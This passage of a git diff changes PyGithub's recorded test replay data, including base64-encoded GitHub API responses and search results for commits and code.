iwib3duZWRfcHJpdmF0\nZV9yZXBvcyI6NSwiY29sbGFib3JhdG9ycyI6MCwiY29tcGFueSI6IkNyaXRl\nbyIsImdyYXZhdGFyX2lkIjoiYjY4ZGU1YWUzODYxNmMyOTZmYTM0NWQyYjlk\nZjIyMjUiLCJsb2dpbiI6ImphY3F1ZXY2IiwiZW1haWwiOiJ2aW5jZW50QHZp\nbmNlbnQtamFjcXVlcy5uZXQiLCJoaXJlYWJsZSI6ZmFsc2UsImZvbGxvd2Vy\ncyI6MTMsIm5hbWUiOiJWaW5jZW50IEphY3F1ZXMiLCJjcmVhdGVkX2F0Ijoi\nMjAxMC0wNy0wOVQwNjoxMDowNloiLCJsb2NhdGlvbiI6IlBhcmlzLCBGcmFu\nY2UiLCJiaW8iOiIiLCJpZCI6MzI3MTQ2LCJmb2xsb3dpbmciOjI0LCJodG1s\nX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9qYWNxdWV2NiJ9CgpodHRwcwpH\nRVQKYXBpLmdpdGh1Yi5jb20KTm9uZQovcmVwb3MvamFjcXVldjYvUHlHaXRo\ndWIKeydBdXRob3JpemF0aW9uJzogJ0Jhc2ljIGxvZ2luX2FuZF9wYXNzd29y\nZF9yZW1vdmVkJywgJ1VzZXItQWdlbnQnOiAnUHlHaXRodWIvUHl0aG9uJ30K\nbnVsbAoyMDAKWygnc3RhdHVzJywgJzIwMCBPSycpLCAoJ3gtcmF0ZWxpbWl0\nLXJlbWFpbmluZycsICc0OTc1JyksICgnY29udGVudC1sZW5ndGgnLCAnMTEy\nOScpLCAoJ3NlcnZlcicsICduZ2lueC8xLjAuMTMnKSwgKCdjb25uZWN0aW9u\nJywgJ2tlZXAtYWxpdmUnKSwgKCd4LXJhdGVsaW1pdC1saW1pdCcsICc1MDAw\nJyksICgnZXRhZycsICciMmY0ZDhiMDAzYzVjNGYzOTBiZTJhYzI4ZmU2MjNi\nZGIiJyksICgnZGF0ZScsICdTdW4sIDI3IE1heSAyMDEyIDA2OjUwOjUyIEdN\nVCcpLCAoJ2NvbnRlbnQtdHlwZScsICdhcHBsaWNhdGlvbi9qc29uOyBjaGFy\nc2V0PXV0Zi04JyldCnsiY2xvbmVfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29t\nL2phY3F1ZXY2L1B5R2l0aHViLmdpdCIsImhhc19kb3dubG9hZHMiOnRydWUs\nIndhdGNoZXJzIjoxNSwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vamFj\ncXVldjYvUHlHaXRodWIuZ2l0IiwidXBkYXRlZF9hdCI6IjIwMTItMDUtMjdU\nMDY6MDA6MjlaIiwicGVybWlzc2lvbnMiOnsicHVsbCI6dHJ1ZSwiYWRtaW4i\nOnRydWUsInB1c2giOnRydWV9LCJob21lcGFnZSI6Imh0dHA6Ly92aW5jZW50\nLWphY3F1ZXMubmV0L1B5R2l0aHViIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0\naHViLmNvbS9yZXBvcy9qYWNxdWV2Ni9QeUdpdGh1YiIsImhhc193aWtpIjpm\nYWxzZSwiaGFzX2lzc3VlcyI6dHJ1ZSwiZm9yayI6ZmFsc2UsImZvcmtzIjoz\nLCJtaXJyb3JfdXJsIjpudWxsLCJzaXplIjozMDgsInByaXZhdGUiOmZhbHNl\nLCJvcGVuX2lzc3VlcyI6MTYsInN2bl91cmwiOiJodHRwczovL2dpdGh1Yi5j\nb20vamFjcXVldjYvUHlHaXRodWIiLCJvd25lciI6eyJ1cmwiOiJodHRwczov\nL2FwaS5naXRodWIuY29tL3VzZXJzL2phY3F1ZXY2IiwiZ3JhdmF0YXJfaWQi\nOiJiNjhkZTVhZTM4NjE2YzI5NmZhMzQ1ZDJiOWRmMjIyNSIsImxvZ2luIjoi\namFjcXVldjYiLCJpZCI6MzI3MTQ2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9z\nZWN1cmUuZ3JhdmF0YXIuY29tL2F2YXRhci9iNjhkZTVhZTM4NjE2YzI5NmZh\nMzQ1ZDJiOWRmMjIyNT9kPWh0dHBzOi8vYTI0OC5lLmFrYW1haS5uZXQvYXNz\nZXRzLmdpdGh1Yi5jb20lMkZpbWFnZXMlMkZncmF2YXRhcnMlMkZncmF2YXRh\nci0xNDAucG5nIn0sIm5hbWUiOiJQeUdpdGh1YiIsImxhbmd1YWdlIjoiUHl0\naG9uIiwiZGVzY3JpcHRpb24iOiJQeXRob24gbGlicmFyeSBpbXBsZW1lbnRp\nbmcgdGhlIGZ1bGwgR2l0aHViIEFQSSB2MyIsInNzaF91cmwiOiJnaXRAZ2l0\naHViLmNvbTpqYWNxdWV2Ni9QeUdpdGh1Yi5naXQiLCJwdXNoZWRfYXQiOiIy\nMDEyLTA1LTI3VDA2OjAwOjI4WiIsImNyZWF0ZWRfYXQiOiIyMDEyLTAyLTI1\nVDEyOjUzOjQ3WiIsImlkIjozNTQ0NDkwLCJodG1sX3VybCI6Imh0dHBzOi8v\nZ2l0aHViLmNvbS9qYWNxdWV2Ni9QeUdpdGh1YiIsImZ1bGxfbmFtZSI6Imph\nY3F1ZXY2L1B5R2l0aHViIn0KCmh0dHBzCkdFVAphcGkuZ2l0aHViLmNvbQpO\nb25lCi9yZXBvcy9qYWNxdWV2Ni9QeUdpdGh1Yi9jb21taXRzLzEyOTJiZjBl\nMjJjNzk2ZTkxY2MzZDZlMjRiNTQ0YWVjZThjMjFmMmEKeydBdXRob3JpemF0\naW9uJzogJ0Jhc2ljIGxvZ2luX2FuZF9wYXNzd29yZF9yZW1vdmVkJywgJ1Vz\nZXItQWdlbnQnOiAnUHlHaXRodWIvUHl0aG9uJ30KbnVsbAoyMDAKWygnc3Rh\ndHVzJywgJzIwMCBPSycpLCAoJ3gtcmF0ZWxpbWl0LXJlbWFpbmluZycsICc0\nOTc0JyksICgnY29udGVudC1sZW5ndGgnLCAnMzQ0NScpLCAoJ3NlcnZlcics\nICduZ2lueC8xLjAuMTMnKSwgKCdjb25uZWN0aW9uJywgJ2tlZXAtYWxpdmUn\nKSwgKCd4LXJhdGVsaW1pdC1saW1pdCcsICc1MDAwJyksICgnZXRhZycsICci\nYmNmZDhkNzMzNDY1YjljMjg1MjVlZGZjNzhlZGU1NjQiJyksICgnZGF0ZScs\nICdTdW4sIDI3IE1heSAyMDEyIDA2OjUwOjUyIEdNVCcpLCAoJ2NvbnRlbnQt\ndHlwZScsICdhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04JyldCnsi\ncGFyZW50cyI6W3sic2hhIjoiYjQ2ZWQwZGZkZTVhZDAyZDNiOTFlYjU0YTQx\nYzVlZDk2MDcxMGVhZSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20v\ncmVwb3MvamFjcXVldjYvUHlHaXRodWIvY29tbWl0cy9iNDZlZDBkZmRlNWFk\nMDJkM2I5MWViNTRhNDFjNWVkOTYwNzEwZWFlIn1dLCJjb21taXQiOnsibWVz\nc2FnZSI6IlJlbW92ZSBjb21wbGV0aW9uIGZ1bmN0aW9ucyBmcm9tIEdpdEF1\ndGhvciIsImF1dGhvciI6eyJkYXRlIjoiMjAxMi0wNS0wOVQwOToyMjozMy0w\nNzowMCIsIm5hbWUiOiJWaW5jZW50IEphY3F1ZXMiLCJlbWFpbCI6InZpbmNl\nbnRAdmluY2VudC1qYWNxdWVzLm5ldCJ9LCJjb21taXR0ZXIiOnsiZGF0ZSI6\nIjIwMTItMDUtMDlUMDk6MjI6MzMtMDc6MDAiLCJuYW1lIjoiVmluY2VudCBK\nYWNxdWVzIiwiZW1haWwiOiJ2aW5jZW50QHZpbmNlbnQtamFjcXVlcy5uZXQi\nfSwidHJlZSI6eyJzaGEiOiI0YzZiZDUwOTk0ZjBmOTgyM2Y4OThiMWM2Yzk2\nNGFkN2Q0ZmExMWFiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9y\nZXBvcy9qYWNxdWV2Ni9QeUdpdGh1Yi9naXQvdHJlZXMvNGM2YmQ1MDk5NGYw\nZjk4MjNmODk4YjFjNmM5NjRhZDdkNGZhMTFhYiJ9LCJ1cmwiOiJodHRwczov\nL2FwaS5naXRodWIuY29tL3JlcG9zL2phY3F1ZXY2L1B5R2l0aHViL2dpdC9j\nb21taXRzLzEyOTJiZjBlMjJjNzk2ZTkxY2MzZDZlMjRiNTQ0YWVjZThjMjFm\nMmEifSwiYXV0aG9yIjp7ImdyYXZhdGFyX2lkIjoiYjY4ZGU1YWUzODYxNmMy\nOTZmYTM0NWQyYjlkZjIyMjUiLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9zZWN1\ncmUuZ3JhdmF0YXIuY29tL2F2YXRhci9iNjhkZTVhZTM4NjE2YzI5NmZhMzQ1\nZDJiOWRmMjIyNT9kPWh0dHBzOi8vYTI0OC5lLmFrYW1haS5uZXQvYXNzZXRz\nLmdpdGh1Yi5jb20lMkZpbWFnZXMlMkZncmF2YXRhcnMlMkZncmF2YXRhci0x\nNDAucG5nIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9q\nYWNxdWV2NiIsImxvZ2luIjoiamFjcXVldjYiLCJpZCI6MzI3MTQ2fSwiY29t\nbWl0dGVyIjp7ImdyYXZhdGFyX2lkIjoiYjY4ZGU1YWUzODYxNmMyOTZmYTM0\nNWQyYjlkZjIyMjUiLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9zZWN1cmUuZ3Jh\ndmF0YXIuY29tL2F2YXRhci9iNjhkZTVhZTM4NjE2YzI5NmZhMzQ1ZDJiOWRm\nMjIyNT9kPWh0dHBzOi8vYTI0OC5lLmFrYW1haS5uZXQvYXNzZXRzLmdpdGh1\nYi5jb20lMkZpbWFnZXMlMkZncmF2YXRhcnMlMkZncmF2YXRhci0xNDAucG5n\nIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qYWNxdWV2\nNiIsImxvZ2luIjoiamFjcXVldjYiLCJpZCI6MzI3MTQ2fSwic2hhIjoiMTI5\nMmJmMGUyMmM3OTZlOTFjYzNkNmUyNGI1NDRhZWNlOGMyMWYyYSIsInN0YXRz\nIjp7InRvdGFsIjoyMCwiZGVsZXRpb25zIjoyMCwiYWRkaXRpb25zIjowfSwi\ndXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9qYWNxdWV2Ni9Q\neUdpdGh1Yi9jb21taXRzLzEyOTJiZjBlMjJjNzk2ZTkxY2MzZDZlMjRiNTQ0\nYWVjZThjMjFmMmEiLCJmaWxlcyI6W3sicGF0Y2giOiJAQCAtMTQsMjIgKzE0\nLDE3IEBAIGRlZiBfX2luaXRfXyggc2VsZiwgcmVxdWVzdGVyLCBhdHRyaWJ1\ndGVzLCBsYXp5ICk6XG4gICAgICAgICBzZWxmLl9fY29tcGxldGVkID0gRmFs\nc2VcbiAgICAgICAgIHNlbGYuX19pbml0QXR0cmlidXRlcygpXG4gICAgICAg\nICBzZWxmLl9fdXNlQXR0cmlidXRlcyggYXR0cmlidXRlcyApXG4tICAgICAg\nICBpZiBub3QgbGF6eTpcbi0gICAgICAgICAgICBzZWxmLl9fY29tcGxldGUo\nKVxuIFxuICAgICBAcHJvcGVydHlcbiAgICAgZGVmIGRhdGUoIHNlbGYgKTpc\nbi0gICAgICAgIHNlbGYuX19jb21wbGV0ZUlmTmVlZGVkKCBzZWxmLl9fZGF0\nZSApXG4gICAgICAgICByZXR1cm4gc2VsZi5fX2RhdGVcbiBcbiAgICAgQHBy\nb3BlcnR5XG4gICAgIGRlZiBlbWFpbCggc2VsZiApOlxuLSAgICAgICAgc2Vs\nZi5fX2NvbXBsZXRlSWZOZWVkZWQoIHNlbGYuX19lbWFpbCApXG4gICAgICAg\nICByZXR1cm4gc2VsZi5fX2VtYWlsXG4gXG4gICAgIEBwcm9wZXJ0eVxuICAg\nICBkZWYgbmFtZSggc2VsZiApOlxuLSAgICAgICAgc2VsZi5fX2NvbXBsZXRl\nSWZOZWVkZWQoIHNlbGYuX19uYW1lIClcbiAgICAgICAgIHJldHVybiBzZWxm\nLl9fbmFtZVxuIFxuICAgICBkZWYgX19pbml0QXR0cmlidXRlcyggc2VsZiAp\nOlxuQEAgLTM3LDIxICszMiw2IEBAIGRlZiBfX2luaXRBdHRyaWJ1dGVzKCBz\nZWxmICk6XG4gICAgICAgICBzZWxmLl9fZW1haWwgPSBOb25lXG4gICAgICAg\nICBzZWxmLl9fbmFtZSA9IE5vbmVcbiBcbi0gICAgZGVmIF9fY29tcGxldGVJ\nZk5lZWRlZCggc2VsZiwgdGVzdGVkQXR0cmlidXRlICk6XG4tICAgICAgICBp\nZiBub3Qgc2VsZi5fX2NvbXBsZXRlZCBhbmQgdGVzdGVkQXR0cmlidXRlIGlz\nIE5vbmU6XG4tICAgICAgICAgICAgc2VsZi5fX2NvbXBsZXRlKClcbi1cbi0g\nICAgIyBAdG90byBEbyBub3QgZ2VuZXJhdGUgX19jb21wbGV0ZSBpZiB0eXBl\nIGhhcyBubyB1cmwgYXR0cmlidXRlXG4tICAgIGRlZiBfX2NvbXBsZXRlKCBz\nZWxmICk6XG4tICAgICAgICBzdGF0dXMsIGhlYWRlcnMsIGRhdGEgPSBzZWxm\nLl9fcmVxdWVzdGVyLnJlcXVlc3QoXG4tICAgICAgICAgICAgXCJHRVRcIixc\nbi0gICAgICAgICAgICBzZWxmLl9fdXJsLFxuLSAgICAgICAgICAgIE5vbmUs\nXG4tICAgICAgICAgICAgTm9uZVxuLSAgICAgICAgKVxuLSAgICAgICAgc2Vs\nZi5fX3VzZUF0dHJpYnV0ZXMoIGRhdGEgKVxuLSAgICAgICAgc2VsZi5fX2Nv\nbXBsZXRlZCA9IFRydWVcbi1cbiAgICAgZGVmIF9fdXNlQXR0cmlidXRlcygg\nc2VsZiwgYXR0cmlidXRlcyApOlxuICAgICAgICAgICNAdG90byBObyBuZWVk\nIHRvIGNoZWNrIGlmIGF0dHJpYnV0ZSBpcyBpbiBhdHRyaWJ1dGVzIHdoZW4g\nYXR0cmlidXRlIGlzIG1hbmRhdG9yeVxuICAgICAgICAgaWYgXCJkYXRlXCIg\naW4gYXR0cmlidXRlcyBhbmQgYXR0cmlidXRlc1sgXCJkYXRlXCIgXSBpcyBu\nb3QgTm9uZToiLCJzdGF0dXMiOiJtb2RpZmllZCIsImRlbGV0aW9ucyI6MjAs\nImJsb2JfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2phY3F1ZXY2L1B5R2l0\naHViL2Jsb2IvMTI5MmJmMGUyMmM3OTZlOTFjYzNkNmUyNGI1NDRhZWNlOGMy\nMWYyYS9naXRodWIvR2l0aHViT2JqZWN0cy9HaXRBdXRob3IucHkiLCJjaGFu\nZ2VzIjoyMCwiYWRkaXRpb25zIjowLCJzaGEiOiIxMjkyYmYwZTIyYzc5NmU5\nMWNjM2Q2ZTI0YjU0NGFlY2U4YzIxZjJhIiwicmF3X3VybCI6Imh0dHBzOi8v\nZ2l0aHViLmNvbS9qYWNxdWV2Ni9QeUdpdGh1Yi9yYXcvMTI5MmJmMGUyMmM3\nOTZlOTFjYzNkNmUyNGI1NDRhZWNlOGMyMWYyYS9naXRodWIvR2l0aHViT2Jq\nZWN0cy9HaXRBdXRob3IucHkiLCJmaWxlbmFtZSI6ImdpdGh1Yi9HaXRodWJP\nYmplY3RzL0dpdEF1dGhvci5weSJ9XX0KCg==\n","encoding":"base64","_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Commit.setUp.txt?ref=72f8876112ba029111c739871e3e4d7bce66b95d","git":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/eb063311ef37a1444a98c9f98acfed2b4caaa738","html":"https://github.com/jacquev6/PyGithub/blob/72f8876112ba029111c739871e3e4d7bce66b95d/github/tests/ReplayData/Commit.setUp.txt"}} - diff --git a/tests/ReplayData/Search.testSearchCommits.txt b/tests/ReplayData/Search.testSearchCommits.txt index 357d2fcd15..5c2bf2a6b3 100644 --- a/tests/ReplayData/Search.testSearchCommits.txt +++ b/tests/ReplayData/Search.testSearchCommits.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 21 Oct 2021 04:54:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'no-cache'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=cloak-preview'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '30'), ('X-RateLimit-Remaining', '28'), ('X-RateLimit-Reset', '1634792071'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'search'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DB8E:3107:5AE85E:63CFBA:6170F280')] {"total_count":2,"incomplete_results":false,"items":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1265747e992ba7d34a469b6b2f527809f8bf7067","sha":"1265747e992ba7d34a469b6b2f527809f8bf7067","node_id":"MDY6Q29tbWl0MzU0NDQ5MDoxMjY1NzQ3ZTk5MmJhN2QzNGE0NjliNmIyZjUyNzgwOWY4YmY3MDY3","html_url":"https://github.com/PyGithub/PyGithub/commit/1265747e992ba7d34a469b6b2f527809f8bf7067","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1265747e992ba7d34a469b6b2f527809f8bf7067/comments","commit":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1265747e992ba7d34a469b6b2f527809f8bf7067","author":{"date":"2021-06-02T15:00:00.000+10:00","name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"date":"2021-06-02T15:00:00.000+10:00","name":"GitHub","email":"noreply@github.com"},"message":"Do not transform requestHeaders when logging (#1965)\n\nRequester.__log() sanitizes the headers of the request so that\r\nauthentication details are not logged, but this has the side effect of\r\nmeaning that future requests that use the same Requester object will\r\nfail. Usually, this is perfectly fine, since almost every method will\r\nonly make one request -- where this falls down is when we make another\r\nafter a redirect. Make a copy of the requestHeaders, and sanitize those.\r\n\r\nFixes #1959","tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/6e5b9e20c26a6b3ba8c5481a8e2896bb72a91bbb","sha":"6e5b9e20c26a6b3ba8c5481a8e2896bb72a91bbb"},"comment_count":0},"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a","html_url":"https://github.com/PyGithub/PyGithub/commit/ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a","sha":"ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a"}],"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"score":1.0}]} - diff --git a/tests/ReplayData/Search.testSearchHighlightingCode.txt b/tests/ReplayData/Search.testSearchHighlightingCode.txt index 510eba50b4..ffae3b10e6 100644 --- a/tests/ReplayData/Search.testSearchHighlightingCode.txt +++ b/tests/ReplayData/Search.testSearchHighlightingCode.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 10 Oct 2018 08:34:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '30'), ('X-RateLimit-Remaining', '29'), ('X-RateLimit-Reset', '1539160518'), ('Cache-Control', 'no-cache'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=text-match; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFBB:2B2B:33E8CC:62F0C0:5BBDB988')] {"total_count":5,"incomplete_results":false,"items":[{"name":"record_replay.py","path":"MockMockMock/tests/record_replay.py","sha":"74b8d2a2274a74fb9a7b2155bb9fa67038110010","url":"https://api.github.com/repositories/6430524/contents/MockMockMock/tests/record_replay.py?ref=562a55542f55426f6853f3013309c85f402c359e","git_url":"https://api.github.com/repositories/6430524/git/blobs/74b8d2a2274a74fb9a7b2155bb9fa67038110010","html_url":"https://github.com/jacquev6/MockMockMock/blob/562a55542f55426f6853f3013309c85f402c359e/MockMockMock/tests/record_replay.py","repository":{"id":6430524,"node_id":"MDEwOlJlcG9zaXRvcnk2NDMwNTI0","name":"MockMockMock","full_name":"jacquev6/MockMockMock","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/MockMockMock","description":"Python mock library focusing on very explicit definition of the mocks' behaviour","fork":false,"url":"https://api.github.com/repos/jacquev6/MockMockMock","forks_url":"https://api.github.com/repos/jacquev6/MockMockMock/forks","keys_url":"https://api.github.com/repos/jacquev6/MockMockMock/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/MockMockMock/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/MockMockMock/teams","hooks_url":"https://api.github.com/repos/jacquev6/MockMockMock/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/MockMockMock/events","assignees_url":"https://api.github.com/repos/jacquev6/MockMockMock/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/MockMockMock/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/tags","blobs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/MockMockMock/statuses/{sha}","languages_url":"https:/